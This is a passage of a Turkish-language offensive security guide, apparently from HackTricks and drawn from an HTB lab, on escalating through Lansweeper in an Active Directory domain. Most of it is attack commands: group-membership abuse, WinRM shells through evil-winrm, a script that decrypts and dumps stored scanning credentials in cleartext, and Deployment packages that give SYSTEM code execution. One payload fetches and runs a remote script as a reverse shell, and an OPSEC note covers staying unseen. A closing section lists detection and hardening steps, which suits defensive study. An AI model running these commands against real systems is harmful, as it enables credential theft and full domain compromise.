sweep.vl -u svc_inventory_lnx -p '' \ +add groupMember "Lansweeper Admins" svc_inventory_lnx + +# Confirm WinRM access if the group grants it +netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' +``` +Sonra bir interactive shell alın: +```bash +evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '' +``` +İpucu: Kerberos işlemleri zamana duyarlıdır. Eğer KRB_AP_ERR_SKEW ile karşılaşırsanız, önce DC ile saat senkronizasyonu yapın: +```bash +sudo ntpdate # or rdate -n +``` +## 3) Ana makinede Lansweeper tarafından yapılandırılmış secrets'leri çözme + +Lansweeper sunucusunda, ASP.NET sitesi genellikle uygulama tarafından kullanılan şifrelenmiş connection string ve uygulama tarafından kullanılan bir simetrik anahtar depolar. Uygun yerel erişimle DB connection string'ini çözebilir ve ardından depolanmış tarama kimlik bilgilerini çıkarabilirsiniz. + +Tipik konumlar: +- Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config` +- `` … `…` +- Uygulama anahtarı: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt` + +Depolanmış kimlik bilgilerini otomatik olarak çözmek ve dökmek için SharpLansweeperDecrypt'i kullanın: +```powershell +# From a WinRM session or interactive shell on the Lansweeper host +# PowerShell variant +Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell +powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1 +# Tool will: +# - Decrypt connectionStrings from web.config +# - Connect to Lansweeper DB +# - Decrypt stored scanning credentials and print them in cleartext +``` +Beklenen çıktı, DB bağlantı bilgilerini ve tüm ortamda kullanılan Windows ve Linux hesapları gibi düz metin tarama kimlik bilgilerini içerir. Bunlar genellikle etki alanı makinelerinde yükseltilmiş yerel haklara sahiptir: +```text +Inventory Windows SWEEP\svc_inventory_win +Inventory Linux svc_inventory_lnx +``` +Kurtarılan Windows scanning creds ile ayrıcalıklı erişim sağlayın: +```bash +netexec winrm inventory.sweep.vl -u svc_inventory_win -p '' +# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers +``` +## 4) Lansweeper Deployment → SYSTEM RCE + +“Lansweeper Admins” üyesi olarak, web UI Deployment ve Configuration öğelerini gösterir. Deployment → Deployment packages altında, hedeflenen varlıklarda rastgele komutlar çalıştıran paketler oluşturabilirsiniz. Yürütme, Lansweeper service tarafından yüksek ayrıcalıklarla gerçekleştirilir ve seçilen hostta NT AUTHORITY\SYSTEM olarak kod yürütme sağlar. + +High-level steps: +- Yeni bir Deployment package oluşturun ve PowerShell veya cmd tek satırlık komut (reverse shell, add-user, vb.) çalıştırsın. +- İstediğiniz varlığı hedefleyin (ör. Lansweeper'ın çalıştığı DC/host) ve Deploy/Run now'a tıklayın. +- Shell'inizi SYSTEM olarak yakalayın. + +Example payloads (PowerShell): +```powershell +# Simple test +powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt" + +# Reverse shell example (adapt to your listener) +powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http:///rs.ps1')" +``` +OPSEC +- Dağıtım işlemleri gürültülüdür ve Lansweeper ile Windows olay günlüklerinde iz bırakır. İhtiyatlı kullanın. + +## Tespit ve güçlendirme + +- Anonim SMB enumerasyonlarını kısıtlayın veya kaldırın. Lansweeper paylaşımlarına yönelik RID cycling ve anormal erişimleri izleyin. +- Çıkış (egress) kontrolleri: tarayıcı sunuculardan dışa yönelik SSH/SMB/WinRM trafiğini engelleyin veya sıkı şekilde kısıtlayın. Standart olmayan portlar (ör. 2022) ve Rebex gibi olağandışı istemci banner'ları için alarm oluşturun. +- `Website\\web.config` ve `Key\\Encryption.txt` dosyalarını koruyun. Sırları bir vault'a dışarı alın ve ifşa durumunda döndürün. Mümkünse minimum ayrıcalıklı service account'lar ve gMSA kullanmayı değerlendirin. +- AD izleme: Lansweeper ile ilişkili gruplardaki değişiklikler (ör. “Lansweeper Admins”, “Remote Management Users”) ve ayrıcalıklı gruplara GenericAll/Write üyeliği veren ACL değişiklikleri için alarm oluşturun. +- Deployment paketlerinin oluşturulması/değiştirilmesi/çalıştırılmasını denetleyin; cmd.exe/powershell.exe çağıran paketler veya beklenmeyen dış bağlantılar için alarm oluşturun. + +## İlgili konular +- SMB/LSA/SAMR enumeration ve RID cycling +- Kerberos password spraying ve clock skew ile ilgili hususlar +- BloodHound ile application-admin gruplarının path analizi +- WinRM kullanımı ve lateral movement + +## Referanslar +- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html) +- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame) +- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt) +- [BloodyAD](https://github.com/CravateRouge/bloodyAD) +- [BloodHound CE](https://github.com/SpecterOps/BloodHound) + +{{#include ../../banners/hacktricks-training.md}}